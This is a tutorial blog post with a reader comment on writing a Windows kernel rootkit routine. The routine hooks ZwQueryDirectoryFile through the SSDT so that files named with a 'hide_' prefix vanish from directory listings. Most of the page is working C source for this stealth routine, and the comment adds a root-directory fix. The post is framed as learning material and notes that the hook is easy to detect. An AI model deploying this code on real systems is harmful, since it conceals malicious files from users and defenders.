You are here : Home » Learning security » Operating Systems » Windows » Hide files using SSDT hooking

Hide files using SSDT hooking

ZwQueryDirectoryFile replacement

D 3 August 2011     H 18:30     A Emeric Nasi     C 2 messages


agrandir

Note: In order to understand this document you need to know the basics about windows rootkit, the windows driver dev kit and SSDT hooking. You can find these materials on The Internet and books.
License : Copyright Emeric Nasi, some rights reserved
This work is licensed under a Creative Commons Attribution 4.0 International License.
Creative Commons License

I. Introduction.

I was reading Bill Blunden’s book “The Rootkit ARSENAL”. This book is great to learn the basics of Windows rootkits (more information here). I am not specialist in Windows O.S and using the book, I tried to learn more about this OS security by building my own rootkits.
In chapter 5 Blunden explains how to hide directories by using SSDT hooking and replacing the ZwQueryDirectoryFile kernel function. In fact this code can be used to hide any file. I tried his code and I found a few problems in it (it works only on Windows XP, it does not work when there is only one file in directory, etc).
So I modified the code to correct these problems and I decided to share it here.

Warning : Here I will only describe the ZwQueryDirectoryFile replacement function, not the way I implemented SSDT hooking or any other part of this rootkit. You can write me an email if you are interested by more source code.

II. Headers information.

In this section I am going to describe all the information wee need to write and use the replacement function. The code in this section should be written in a file accessible by the rootkit core and the replacement function. It can be inside the replacement function file like in the book, or in a dedicated header file.

II.1 The needed includes

The replacement function only needs one included file (and it is a big one), the windows driver kit main file.
#include <ntddk.h>

II.2 The original function signature

In order to hook this SSDT entry we need to define the original function in our code so our rootkit can switch safely between the original routine and the replacement one.

  1.  
  2. /*
  3.  
  4. The ZwQueryDirectoryFile routine returns various kinds of information about files in the directory specified by a given file handle.
  5.  
  6. NTSTATUS ZwQueryDirectoryFile(
  7.   __in HANDLE FileHandle,
  8.   __in_opt HANDLE Event,
  9.   __in_opt PIO_APC_ROUTINE ApcRoutine,
  10.   __in_opt PVOID ApcContext,
  11.   __out PIO_STATUS_BLOCK IoStatusBlock,
  12.   __out PVOID FileInformation,
  13.   __in ULONG Length,
  14.   __in FILE_INFORMATION_CLASS FileInformationClass,
  15.   __in BOOLEAN ReturnSingleEntry,
  16.   __in_opt PUNICODE_STRING FileName,
  17.   __in BOOLEAN RestartScan
  18. );
  19.  
  20. http://msdn.microsoft.com/en-us/library/ff567047%28v=VS.85%29.aspx
  21.  
  22. */
  23.  
  24. /* Prototype to original routine */
  25. NTSYSAPI
  26. NTSTATUS
  27. NTAPI ZwQueryDirectoryFile
  28. (
  29. IN HANDLE FileHandle,
  30. IN HANDLE Event,
  31. IN PIO_APC_ROUTINE ApcRoutine,
  32. IN PVOID ApcContext,
  33. OUT PIO_STATUS_BLOCK IoStatusBlock,
  34. OUT PVOID FileInformation,
  35. IN ULONG Length,
  36. IN FILE_INFORMATION_CLASS FileInformationClass,
  37. IN BOOLEAN ReturnSingleEntry,
  38. IN PUNICODE_STRING FileName,
  39. IN BOOLEAN RestartScan
  40. );
  41.  
  42. /* Function pointer declaration and definition */
  43. typedef NTSTATUS (*ZwQueryDirectoryFilePtr)
  44. (
  45. IN HANDLE FileHandle,
  46. IN HANDLE Event,
  47. IN PIO_APC_ROUTINE ApcRoutine,
  48. IN PVOID ApcContext,
  49. OUT PIO_STATUS_BLOCK IoStatusBlock,
  50. OUT PVOID FileInformation,
  51. IN ULONG Length,
  52. IN FILE_INFORMATION_CLASS FileInformationClass,
  53. IN BOOLEAN ReturnSingleEntry,
  54. IN PUNICODE_STRING FileName,
  55. IN BOOLEAN RestartScan
  56. );
  57. ZwQueryDirectoryFilePtr oldZwQueryDirectoryFile;
  58.  

II.3 Various FILE_INFORMATION_CLASS structures

When the ZwQueryDirectoryFile routine is called, the returned results are stored in an array of structures representing a file. The first one is accessible using FileInformation OUT parameter. There are several types of structures to describe files, (they can vary depending on the OS version for example).
The FileInformationClass parameter is used to know the type of the FileInformation parameter.
There is a list of structures that can correspond to a file object on the msdn (
http://msdn.microsoft.com/en-us/library/ff728840%28v=vs.85%29.aspx). Here we will concentrate on structures that can be used by the ZwQueryDirectoryFile routine (see http://msdn.microsoft.com/en-us/library/ff567047%28v=vs.85%29.aspx).
We need to redefine these structures in our header’s code :

  1.  
  2. typedef struct _FILE_BOTH_DIR_INFORMATION {
  3. ULONG NextEntryOffset;
  4. ULONG FileIndex;
  5. LARGE_INTEGER CreationTime;
  6. LARGE_INTEGER LastAccessTime;
  7. LARGE_INTEGER LastWriteTime;
  8. LARGE_INTEGER ChangeTime;
  9. LARGE_INTEGER EndOfFile;
  10. LARGE_INTEGER AllocationSize;
  11. ULONG FileAttributes;
  12. ULONG FileNameLength;
  13. ULONG EaSize;
  14. CCHAR ShortNameLength;
  15. WCHAR ShortName[12];
  16. WCHAR FileName[1];
  17. } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
  18.  
  19. typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
  20. ULONG NextEntryOffset;
  21. ULONG FileIndex;
  22. LARGE_INTEGER CreationTime;
  23. LARGE_INTEGER LastAccessTime;
  24. LARGE_INTEGER LastWriteTime;
  25. LARGE_INTEGER ChangeTime;
  26. LARGE_INTEGER EndOfFile;
  27. LARGE_INTEGER AllocationSize;
  28. ULONG FileAttributes;
  29. ULONG FileNameLength;
  30. ULONG EaSize;
  31. CCHAR ShortNameLength;
  32. WCHAR ShortName[12];
  33. LARGE_INTEGER FileId;
  34. WCHAR FileName[1];
  35. } FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;
  36.  
  37. typedef struct _FILE_ID_FULL_DIR_INFORMATION {
  38. ULONG NextEntryOffset;
  39. ULONG FileIndex;
  40. LARGE_INTEGER CreationTime;
  41. LARGE_INTEGER LastAccessTime;
  42. LARGE_INTEGER LastWriteTime;
  43. LARGE_INTEGER ChangeTime;
  44. LARGE_INTEGER EndOfFile;
  45. LARGE_INTEGER AllocationSize;
  46. ULONG FileAttributes;
  47. ULONG FileNameLength;
  48. ULONG EaSize;
  49. LARGE_INTEGER FileId;
  50. WCHAR FileName[1];
  51. } FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;
  52.  
  53. typedef struct _FILE_DIRECTORY_INFORMATION {
  54. ULONG NextEntryOffset;
  55. ULONG FileIndex;
  56. LARGE_INTEGER CreationTime;
  57. LARGE_INTEGER LastAccessTime;
  58. LARGE_INTEGER LastWriteTime;
  59. LARGE_INTEGER ChangeTime;
  60. LARGE_INTEGER EndOfFile;
  61. LARGE_INTEGER AllocationSize;
  62. ULONG FileAttributes;
  63. ULONG FileNameLength;
  64. WCHAR FileName[1];
  65. } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
  66.  
  67. typedef struct _FILE_FULL_DIR_INFORMATION {
  68. ULONG NextEntryOffset;
  69. ULONG FileIndex;
  70. LARGE_INTEGER CreationTime;
  71. LARGE_INTEGER LastAccessTime;
  72. LARGE_INTEGER LastWriteTime;
  73. LARGE_INTEGER ChangeTime;
  74. LARGE_INTEGER EndOfFile;
  75. LARGE_INTEGER AllocationSize;
  76. ULONG FileAttributes;
  77. ULONG FileNameLength;
  78. ULONG EaSize;
  79. WCHAR FileName[1];
  80. } FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;
  81.  
  82. typedef struct _FILE_NAMES_INFORMATION {
  83. ULONG NextEntryOffset;
  84. ULONG FileIndex;
  85. ULONG FileNameLength;
  86. WCHAR FileName[1];
  87. } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

The interesting thing here is that all the structures have attributes in common, and more precisely the FileName and the NextEntryOffset.
The FileName use is trivial (just return the name of the file...).
The NextEntryOffset is the offset of the next FileInformation structure in the array.
For example, take a directory called foo, containing 2 files, bar1 and bar2.
If you query the next cmd code :
dir ./foo

The ZwQueryDirectoryFile kernel routine will be called and will write into the FileInformation a pointer to an array of two structures, one for bar1 and one for bar2 (in reality it is more complicated than that because . and .. are also in the array...).
We may not be sure about the FILE_INFORMATION_CLASS type but we know that :
The first structure FileName is "bar1" and its NextEntryOffset, when added to FileInformation is the memory address of the next structure.
The second structure FileName is "bar2" and its NextEntryOffset field is set to zero because it is the last structure in the array.>

II.4 Get and set common fields from any structure type

We do not want to write a replacement function for each different structure. So we are going to write functions to get the two common fields we need in any of them.

  1.  
  2. /* ---------------- Functions ----------------------------------------*/
  3.  
  4.  
  5. /* Return the filename of the specified file entry. */
  6. PVOID getDirEntryFileName
  7. (
  8. IN PVOID FileInformation,
  9. IN FILE_INFORMATION_CLASS FileInfoClass
  10. )
  11. {
  12. PVOID result = 0;
  13. switch(FileInfoClass){
  14. case FileDirectoryInformation:
  15. result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformation)->FileName;
  16. break;
  17. case FileFullDirectoryInformation:
  18. result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformation)->FileName;
  19. break;
  20. case FileIdFullDirectoryInformation:
  21. result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformation)->FileName;
  22. break;
  23. case FileBothDirectoryInformation:
  24. result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformation)->FileName;
  25. break;
  26. case FileIdBothDirectoryInformation:
  27. result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformation)->FileName;
  28. break;
  29. case FileNamesInformation:
  30. result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformation)->FileName;
  31. break;
  32. }
  33. return result;
  34. }
  35.  
  36.  
  37. /* Return the NextEntryOffset of the specified file entry. */
  38. ULONG getNextEntryOffset
  39. (
  40. IN PVOID FileInformation,
  41. IN FILE_INFORMATION_CLASS FileInfoClass
  42. )
  43. {
  44. ULONG result = 0;
  45. switch(FileInfoClass){
  46. case FileDirectoryInformation:
  47. result = (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformation)->NextEntryOffset;
  48. break;
  49. case FileFullDirectoryInformation:
  50. result =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset;
  51. break;
  52. case FileIdFullDirectoryInformation:
  53. result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset;
  54. break;
  55. case FileBothDirectoryInformation:
  56. result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset;
  57. break;
  58. case FileIdBothDirectoryInformation:
  59. result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset;
  60. break;
  61. case FileNamesInformation:
  62. result =(ULONG)((PFILE_NAMES_INFORMATION)FileInformation)->NextEntryOffset;
  63. break;
  64. }
  65. return result;
  66. }
  67.  
  68. /* Set the value of the fileInformation's NextEntryOffset */
  69. void setNextEntryOffset
  70. (
  71. IN PVOID FileInformation,
  72. IN FILE_INFORMATION_CLASS FileInfoClass,
  73. IN ULONG newValue
  74. )
  75. {
  76. switch(FileInfoClass){
  77. case FileDirectoryInformation:
  78. ((PFILE_DIRECTORY_INFORMATION)FileInformation)->NextEntryOffset = newValue;
  79. break;
  80. case FileFullDirectoryInformation:
  81. ((PFILE_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue;
  82. break;
  83. case FileIdFullDirectoryInformation:
  84. ((PFILE_ID_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue;
  85. break;
  86. case FileBothDirectoryInformation:
  87. ((PFILE_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue;
  88. break;
  89. case FileIdBothDirectoryInformation:
  90. ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue;
  91. break;
  92. case FileNamesInformation:
  93. ((PFILE_NAMES_INFORMATION)FileInformation)->NextEntryOffset = newValue;
  94. break;
  95. }
  96. }
  97.  

III. Main code.

III.1 ZwQueryDirectory Replacement routine

Now that we have enough information, we are ready to write a ZwQueryDirectoryFile replacement function that can hide any file we want.

  1.  
  2. #define NO_MORE_ENTRIES 0
  3.  
  4. /* Replacement function, Entry point */
  5. NTSTATUS newZwQueryDirectoryFile
  6. (
  7. IN HANDLE FileHandle,
  8. IN HANDLE Event,
  9. IN PIO_APC_ROUTINE ApcRoutine,
  10. IN PVOID ApcContext,
  11. OUT PIO_STATUS_BLOCK IoStatusBlock,
  12. OUT PVOID FileInformation,
  13. IN ULONG Length,
  14. IN FILE_INFORMATION_CLASS FileInformationClass,
  15. IN BOOLEAN ReturnSingleEntry,
  16. IN PUNICODE_STRING FileName,
  17. IN BOOLEAN RestartScan
  18. )
  19. {
  20. NTSTATUS ntStatus;
  21. PVOID currFile;
  22. PVOID prevFile;
  23.  
  24.  
  25. //DBG_TRACE("newZwQueryDirectoryFile","Call intercepted!");
  26. // Call normal function
  27. ntStatus = oldZwQueryDirectoryFile
  28. (
  29. FileHandle,
  30. Event,
  31. ApcRoutine,
  32. ApcContext,
  33. IoStatusBlock,
  34. FileInformation,
  35. Length,
  36. FileInformationClass,
  37. ReturnSingleEntry,
  38. FileName,
  39. RestartScan
  40. );
  41. if(!NT_SUCCESS(ntStatus))
  42. {
  43. //DBG_TRACE("newZwQueryDirectoryFile","Call failed.");
  44. return ntStatus;
  45. }
  46.  
  47. // Call hide function depending on FileInformationClass
  48. if
  49. (
  50. FileInformationClass == FileDirectoryInformation ||
  51. FileInformationClass == FileFullDirectoryInformation ||
  52. FileInformationClass == FileIdFullDirectoryInformation ||
  53. FileInformationClass == FileBothDirectoryInformation ||
  54. FileInformationClass == FileIdBothDirectoryInformation ||
  55. FileInformationClass == FileNamesInformation
  56. )
  57. {
  58.  
  59.  
  60.  
  61. currFile = FileInformation;
  62. prevFile = NULL;
  63. //Sweep trought the array of PFILE_BOTH_DIR_INFORMATION structures
  64. do
  65. {
  66. // Check if file is one of rootkit files
  67. if(checkIfHiddenFile(getDirEntryFileName(currFile,FileInformationClass))==TRUE)
  68. {
  69. // If it is not the last file
  70. if(getNextEntryOffset(currFile,FileInformationClass)!=NO_MORE_ENTRIES)
  71. {
  72. int delta;
  73. int nBytes;
  74. // We get number of bytes between the 2 addresses (that we already processed)
  75. delta = ((ULONG)currFile) - (ULONG)FileInformation;
  76. // Lenght is size of FileInformation buffer
  77. // We get the number of bytes still to be sweeped trought
  78. nBytes = (DWORD)Length - delta;
  79. // We get the size of bytes to be processed if we remove the current entry.
  80. nBytes = nBytes - getNextEntryOffset(currFile,FileInformationClass);
  81. // The next operation replaces the rest of the array by the same array without the current structure.
  82. RtlCopyMemory
  83. (
  84. (PVOID)currFile,
  85. (PVOID)((char*)currFile + getNextEntryOffset(currFile,FileInformationClass)),
  86. (DWORD)nBytes
  87. );
  88. continue;
  89. }
  90. else
  91. {
  92. // Only one file
  93. if(currFile==FileInformation)
  94. {
  95. ntStatus = STATUS_NO_MORE_FILES;
  96. }
  97. else
  98. {
  99. // Several file and ours is the last one
  100. // We set previous to end of file
  101. setNextEntryOffset(prevFile,FileInformationClass,NO_MORE_ENTRIES);
  102. }
  103. // Exit while loop
  104. break;
  105. }
  106. }
  107. prevFile = currFile;
  108. // Set current file to next file in array
  109. currFile = ((BYTE*)currFile + getNextEntryOffset(currFile,FileInformationClass));
  110. }
  111. while(getNextEntryOffset(prevFile,FileInformationClass) != NO_MORE_ENTRIES);
  112.  
  113.  
  114. }
  115.  
  116. return ntStatus;
  117. }

III.2 Check if file should be hide

You should have noticed that hiding functionalities are used only if checkIfHiddenFile(WCHAR fileName) function returns TRUE. You can choose to write whatever you want in that function, if you want to hide several files, depending on what part of their names, etc.
In this code, I choose to stay simple, and just hide any file that starts with a given prefix ("hide_").

  1. const WCHAR prefix[] = L"hide_";
  2. #define PREFIX_SIZE 10
  3.  
  4. /* Check if the file is one of those that need to be hidden */
  5. BOOLEAN checkIfHiddenFile(WCHAR fileName[])
  6. {
  7.  
  8. SIZE_T nBytesEqual;
  9. //DBG_PRINT2("[checkIfHiddenFile]: we are checking %S\n",fileName);
  10.  
  11. // Check if known file
  12. nBytesEqual = 0;
  13. nBytesEqual = RtlCompareMemory
  14. (
  15. (PVOID)&(fileName[0]),
  16. (PVOID)&(prefix[0]),
  17. PREFIX_SIZE
  18. );
  19. //DBG_PRINT2("[checkIfHiddenFile]: nBytesEqual: %d\n",nBytesEqual);
  20. if(nBytesEqual==PREFIX_SIZE)
  21. {
  22. DBG_PRINT2("[checkIfHiddenFile]: known file detected : %S\n",fileName);
  23. return(TRUE);
  24. }
  25.  
  26. return FALSE;
  27. }
  28.  

IV Conclusion

I am not a WDK specialist and any critics are welcomed. This hook should work nice on Windows XP and Vista 32 bit version. I didn’t test it on other versions. If you do, please give me a feedback.

Note : SSDT hooking is a very simple way to modify Windows OS normal functioning. However, this method is very easy to detect and most security tools will detect a rootkit if the SSDT table points to functions outside of the kernel space!

1 Forum posts

  • I was playing with writing a rootkit to learn a bit about what’s going on behind the scenes and found this article quite helpful, thank you! I wanted to note that I ran into an issue when trying to hide a file in the root directory (c:\). Because Windows XP will query for a single file first before querying for the rest, and because there is no ".." directory to return initially, my rootkit file would end up being returned in the FileInformation buffer all alone. Your code would return "NO MORE FILES" in this case which ends up showing an empty root directory. My approach to fix this problem was to create a new case "if(ReturnSingleEntry == TRUE)" above your case "if(currFile==FileInformation)" and simply call the hooked function again with the ReturnSingleEntry argument set to FALSE. This seems to work fine for me and I just wanted to share it for anyone interested.


Any message or comments?
pre-moderation

This forum is moderated before publication: your contribution will only appear after being validated by an administrator.

Who are you?
Your post